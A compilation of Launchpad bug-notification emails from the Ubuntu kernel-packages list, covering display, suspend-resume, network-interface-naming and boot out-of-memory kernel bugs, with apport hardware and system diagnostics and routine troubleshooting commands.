apport information ** Attachment added: "Lsusb-t.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538945/+files/Lsusb-t.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] IwConfig.txt
apport information ** Attachment added: "IwConfig.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538941/+files/IwConfig.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] CRDA.txt
apport information ** Attachment added: "CRDA.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538939/+files/CRDA.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Re: Grey screen on the main display when I plug-in second display
apport information ** Tags added: apport-collected uma ** Description changed: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 + --- + ProblemType: Bug + ApportVersion: 2.20.11-0ubuntu27.21 + Architecture: amd64 + AudioDevicesInUse: + USERPID ACCESS COMMAND + /dev/snd/controlC2: petro 2785 F pulseaudio + /dev/snd/controlC1: petro 2785 F pulseaudio + /dev/snd/controlC0: petro 2785 F pulseaudio + CasperMD5CheckResult: skip + CurrentDesktop: X-Cinnamon + DistroRelease: Linux Mint 20.2 + InstallationDate: Installed on 2021-02-07 (274 days ago) + InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 + MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA + Package: linux (not installed) + ProcFB: 0 amdgpudrmfb + ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash + ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 + RelatedPackageVersions: + linux-restricted-modules-5.13.0-21-generic N/A + linux-backports-modules-5.13.0-21-generic N/A + linux-firmware 1.187.20 + Tags: uma + Uname: Linux 5.13.0-21-generic x86_64 + UpgradeStatus: No upgrade log present (probably fresh install) + UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo + _MarkForUpload: True + dmi.bios.date: 08/29/2020 + dmi.bios.release: 5.16 + dmi.bios.vendor: American Megatrends Inc. + dmi.bios.version: UX425IA.306 + dmi.board.asset.tag: ATN12345678901234567 + dmi.board.name: UX425IA + dmi.board.vendor: ASUSTeK COMPUTER INC. + dmi.board.version: 1.0 + dmi.chassis.asset.tag: No Asset Tag + dmi.chassis.type: 10 + dmi.chassis.vendor: ASUSTeK COMPUTER INC. + dmi.chassis.version: 1.0 + dmi.ec.firmware.release: 3.6 + dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: + dmi.product.family: ZenBook + dmi.product.name: ZenBook UX425IA_UM425IA + dmi.product.version: 1.0 + dmi.sys.vendor: ASUSTeK COMPUTER INC. ** Attachment added: "AlsaInfo.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538938/+files/AlsaInfo.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias:
[Kernel-packages] [Bug 1638788] Re: [MacBookAir5, 2] Resumes immediately after suspend
Ubuntu 20.04 with kernel 5.4.0-89-generic on MacbookPro10,1 still have this issue from time to time (espescially when a lot of apps are open, and after a first sleep-wakeup that worked. The XHC1 doesn't fix the issue but the LID0 does. echo LID0 >/proc/acpi/wakeup -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1638788 Title: [MacBookAir5,2] Resumes immediately after suspend Status in linux package in Ubuntu: Expired Bug description: with default settings the laptop will immediately resume after sending to sleep (regardless of by closing the LID or though the menu option "suspend") the workaround is disabling the LID ACPI action by running: echo LID0 >/proc/acpi/wakeup this will fix the problem. obviously however just simply opening the lid won't wake the laptop anymore. so one has to manually press the power button. (I used ubuntu-bug linux, so hopefully all info should be attached) I'm running out of the box, up2date yakkety. without any external repos or custom compiled applications ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: linux-image-4.8.0-26-generic 4.8.0-26.28 ProcVersionSignature: Ubuntu 4.8.0-26.28-generic 4.8.0 Uname: Linux 4.8.0-26-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: toby 2327 F pulseaudio CurrentDesktop: Unity Date: Wed Nov 2 21:49:50 2016 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=ba2577eb-f563-46c3-adb9-47967c8c5851 InstallationDate: Installed on 2016-10-17 (16 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: Apple Inc. MacBookAir5,2 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-26-generic.efi.signed root=UUID=add8c949-ae19-4310-aede-4a9007ea7514 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.8.0-26-generic N/A linux-backports-modules-4.8.0-26-generic N/A linux-firmware1.161 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/11/2015 dmi.bios.vendor: Apple Inc. dmi.bios.version: MBA51.88Z.00EF.B04.1509111654 dmi.board.asset.tag: Base Board Asset Tag# dmi.board.name: Mac-2E6FAB96566FE58C dmi.board.vendor: Apple Inc. dmi.board.version: MacBookAir5,2 dmi.chassis.type: 10 dmi.chassis.vendor: Apple Inc. dmi.chassis.version: Mac-2E6FAB96566FE58C dmi.modalias: dmi:bvnAppleInc.:bvrMBA51.88Z.00EF.B04.1509111654:bd09/11/2015:svnAppleInc.:pnMacBookAir5,2:pvr1.0:rvnAppleInc.:rnMac-2E6FAB96566FE58C:rvrMacBookAir5,2:cvnAppleInc.:ct10:cvrMac-2E6FAB96566FE58C: dmi.product.name: MacBookAir5,2 dmi.product.version: 1.0 dmi.sys.vendor: Apple Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1638788/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Re: Grey screen on the main display when I plug-in second display
** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1940860] Re: Mellanox NIC interface names change between 5.4 and 5.8
Note that this is for the latest focal debian-installer. Since there is no hwe-netboot image the current focal installer is affected. I think an hwe-netboot image for focal would resolve this issue for the installer. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1940860 Title: Mellanox NIC interface names change between 5.4 and 5.8 Status in debian-installer: New Status in subiquity: New Status in Release Notes for Ubuntu: New Status in linux package in Ubuntu: Won't Fix Status in systemd package in Ubuntu: Invalid Bug description: I noticed on a couple of systems that my network interface names change when upgrading from the focal LTS (5.4) kernel to the focal HWE (both 5.8 & 5.11) kernels. Both systems have Mellanox Connect-X 5 NICs. dannf@bizzy:~$ uname -a Linux bizzy 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:10:30 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux dannf@bizzy:~$ ls /sys/class/net enp1s0f0 enp1s0f1 enx3e8734bc294f lo dannf@bizzy:~$ uname -a Linux bizzy 5.8.0-63-generic #71~20.04.1-Ubuntu SMP Thu Jul 15 17:46:44 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux dannf@bizzy:~$ ls /sys/class/net enp1s0f0np0 enp1s0f1np1 enx3e8734bc294f lo dannf@bizzy:~$ uname -a Linux bizzy 5.11.0-27-generic #29~20.04.1-Ubuntu SMP Wed Aug 11 15:58:08 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux dannf@bizzy:~$ ls /sys/class/net enp1s0f0np0 enp1s0f1np1 enx3e8734bc294f lo I bisected this down to a kernel change: # first bad commit: [c6acd629eec754a9679f922d51f90e44c769b80c] net/mlx5e: Add support for devlink-port in non-representors mode The impact is that your network can fail to come up after transitioning from the LTS kernel to the HWE kernel. Now, this isn't a huge problem for MAAS installs because MAAS configures netplan to always use the same names as were used at commissioning. It does impact subiquity based installs however, which do not. To manage notifications about this bug go to: https://bugs.launchpad.net/debian-installer/+bug/1940860/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1950194 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Incomplete Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1940860] Re: Mellanox NIC interface names change between 5.4 and 5.8
** Also affects: linux Importance: Undecided Status: New ** Project changed: linux => debian-installer -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1940860 Title: Mellanox NIC interface names change between 5.4 and 5.8 Status in debian-installer: New Status in subiquity: New Status in Release Notes for Ubuntu: New Status in linux package in Ubuntu: Won't Fix Status in systemd package in Ubuntu: Invalid Bug description: I noticed on a couple of systems that my network interface names change when upgrading from the focal LTS (5.4) kernel to the focal HWE (both 5.8 & 5.11) kernels. Both systems have Mellanox Connect-X 5 NICs. dannf@bizzy:~$ uname -a Linux bizzy 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:10:30 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux dannf@bizzy:~$ ls /sys/class/net enp1s0f0 enp1s0f1 enx3e8734bc294f lo dannf@bizzy:~$ uname -a Linux bizzy 5.8.0-63-generic #71~20.04.1-Ubuntu SMP Thu Jul 15 17:46:44 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux dannf@bizzy:~$ ls /sys/class/net enp1s0f0np0 enp1s0f1np1 enx3e8734bc294f lo dannf@bizzy:~$ uname -a Linux bizzy 5.11.0-27-generic #29~20.04.1-Ubuntu SMP Wed Aug 11 15:58:08 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux dannf@bizzy:~$ ls /sys/class/net enp1s0f0np0 enp1s0f1np1 enx3e8734bc294f lo I bisected this down to a kernel change: # first bad commit: [c6acd629eec754a9679f922d51f90e44c769b80c] net/mlx5e: Add support for devlink-port in non-representors mode The impact is that your network can fail to come up after transitioning from the LTS kernel to the HWE kernel. Now, this isn't a huge problem for MAAS installs because MAAS configures netplan to always use the same names as were used at commissioning. It does impact subiquity based installs however, which do not. To manage notifications about this bug go to: https://bugs.launchpad.net/debian-installer/+bug/1940860/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] [NEW] Grey screen on the main display when I plug-in second display
Public bug reported: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 ** Affects: linux (Ubuntu) Importance: Undecided Status: New ** Attachment added: "sudo lspci -vnvn > lspci-vnvn.log" https://bugs.launchpad.net/bugs/1950194/+attachment/5538915/+files/lspci-vnvn.log -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: New Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1842320] Re: Out of Memory on boot with 5.2.0 kernel
I had this issue as well, through ALL of the 5.x kernels. Tried everything mentioned in the thread here, but nothing worked other than going to 4.15 kernel. This gave me suspicions it was related to something with the UEFI handoff to OS, so I looked for BIOS updates and sure enough there was one from earlier this year. Updated to the latest BIOS from Intel, and everything boots fine and working now. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1842320 Title: Out of Memory on boot with 5.2.0 kernel Status in linux package in Ubuntu: Confirmed Bug description: Upgraded from 19.04 to current 19.10 using "do-release-upgrade -d". Can still boot using the previous 5.0.0-25-generic kernel, but the 5.2.0-15-generic fails to start. On selecting Ubuntu from Grub, the message "error: out of memory." is immediately shown. Pressing a key attempts to start boot-up but fails to mount root fs. Machine is HP Spectre X360 with 8GB RAM. Under kernel 5.0.0, free shows the following (run from Gnome terminal): totalusedfree shared buff/cache available Mem:7906564 1761196 3833240 1020216 2312128 4849224 Swap: 1003516 0 1003516 Kernel packages installed: linux-generic 5.2.0.15.16 amd64 linux-headers-5.2.0-15 5.2.0-15.16 all linux-headers-5.2.0-15-generic 5.2.0-15.16 amd64 linux-headers-generic 5.2.0.15.16 amd64 linux-image-5.0.0-25-generic 5.0.0-25.26 amd64 linux-image-5.2.0-15-generic 5.2.0-15.16+signed1 amd64 linux-image-generic5.2.0.15.16 amd64 linux-modules-5.0.0-25-generic 5.0.0-25.26 amd64 linux-modules-5.2.0-15-generic 5.2.0-15.16 amd64 linux-modules-extra-5.0.0-25-generic 5.0.0-25.26 amd64 linux-modules-extra-5.2.0-15-generic 5.2.0-15.16 amd64 Photo of kernel panic attached. NVMe drive partition layout (GPT): Device StartEnd Sectors Size Type /dev/nvme0n1p120481050623 1048576 512M EFI System /dev/nvme0n1p2 10506242549759 1499136 732M Linux filesystem /dev/nvme0n1p3 2549760 1000214527 997664768 475.7G Linux filesystem $ sudo pvs PV VGFmt Attr PSizePFree /dev/mapper/nvme0n1p3_crypt ubuntu-vg lvm2 a-- <475.71g0 $ sudo lvs LV VGAttr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert root ubuntu-vg -wi-ao 474.75g swap_1 ubuntu-vg -wi-ao 980.00m Partition 3 is LUKS encrypted. Root LV is ext4. --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu7 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gmckeown 1647 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 19.10 InstallationDate: Installed on 2019-08-15 (18 days ago) InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 8087:0a2b Intel Corp. Bus 001 Device 002: ID 04f2:b593 Chicony Electronics Co., Ltd HP Wide Vision FHD Camera Bus 001 Device 004: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: HP HP Spectre x360 Convertible 13-ae0xx Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.0.0-25-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash ProcVersionSignature: Ubuntu 5.0.0-25.26-generic 5.0.18 RelatedPackageVersions: linux-restricted-modules-5.0.0-25-generic N/A linux-backports-modules-5.0.0-25-generic N/A linux-firmware1.181 Tags: eoan Uname: Linux 5.0.0-25-generic x86_64 UpgradeStatus: Upgraded to eoan on 2019-09-02 (0 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo 